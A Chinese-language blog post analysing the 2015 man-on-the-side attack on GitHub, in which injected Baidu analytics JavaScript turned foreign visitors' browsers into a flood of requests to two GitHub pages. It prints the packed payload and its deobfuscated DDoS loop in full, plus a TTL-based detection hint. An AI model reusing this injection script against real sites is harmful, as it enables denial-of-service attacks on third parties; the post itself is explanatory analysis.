非中國內地的人想要瀏覽他們的網站,而這網站使用的 javascript 剛好是百度的分析工具 (像 Google Analytics),當我們連線要到大陸一定會通過中國的某個網路設施才能進去,然而這個點偽照了假的 javascript,當我們瀏覽之後反而會把流量都送到 GitHub 去,也就是說全球幾 % 當中的人本來不是要到 GitHub 去的,結果都去瀏覽 GitHub 了,也就會照成 GitHub 流量、頻寬愈來愈高,嚴重的造成部份的人無法連線到 GitHub。

 分析說這些瀏覽到百度的 JS 的人只有 %1 才會到 GitHub 去,其它的人都是正常情況,而這 1%的人的流量真的就都是被導到 GitHub 的 IP  去 (192.30.252.128-131)

這些被導向的封包長的像這樣子,是經過包裝的

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("\\\\h/5>");!J.K&&l.k("\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

解析出來後長這樣子 (或看這裡)

當中就有兩個連結就是 GitHub 上的

 document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
 var a = new Date;
 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
NUM = url_array.length;
function r_send2() {
 var a = unixtime() % NUM;
 get(url_array[a])
}
function get(a) {
 var b;
 $.ajax({
 url: a,
 dataType: "script",
 timeout: 1E4,
 cache: !0,
 beforeSend: function() {
 requestTime = (new Date).getTime()
 },
 complete: function() {
 responseTime = (new Date).getTime();
 b = Math.floor(responseTime - requestTime);
 3E5 > responseTime - startime && (r_send(b), count += 1)
 }
 })
}
function r_send(a) {
 setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

還有透過 ICMP 中的 TTL 也可以清楚知道連線是否已不同了,正常情況都會是 64 的值,ping 的當中突然變成 42 … 還有 227、228、229 的,或其它數值,反而是有問題的了

參考 : China’s Man-on-the-Side Attack on GitHub

最後修改日期: 2015 年 04 月 02 日
Related posts 相關文章
下載 GitHub 上某個目錄
More...
這裡有 POC 可用,隨時有更新
More...
GitHub 的統計報告
More...
架設 GitLab 作 Git 版本控管(一)
More...

作者

留言

作者

如果那些網站是強制跑 https 的話,那麼這個中間人攻擊其實就無法生效了,JS 也是加密的內容改不了

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。

7 × 1 =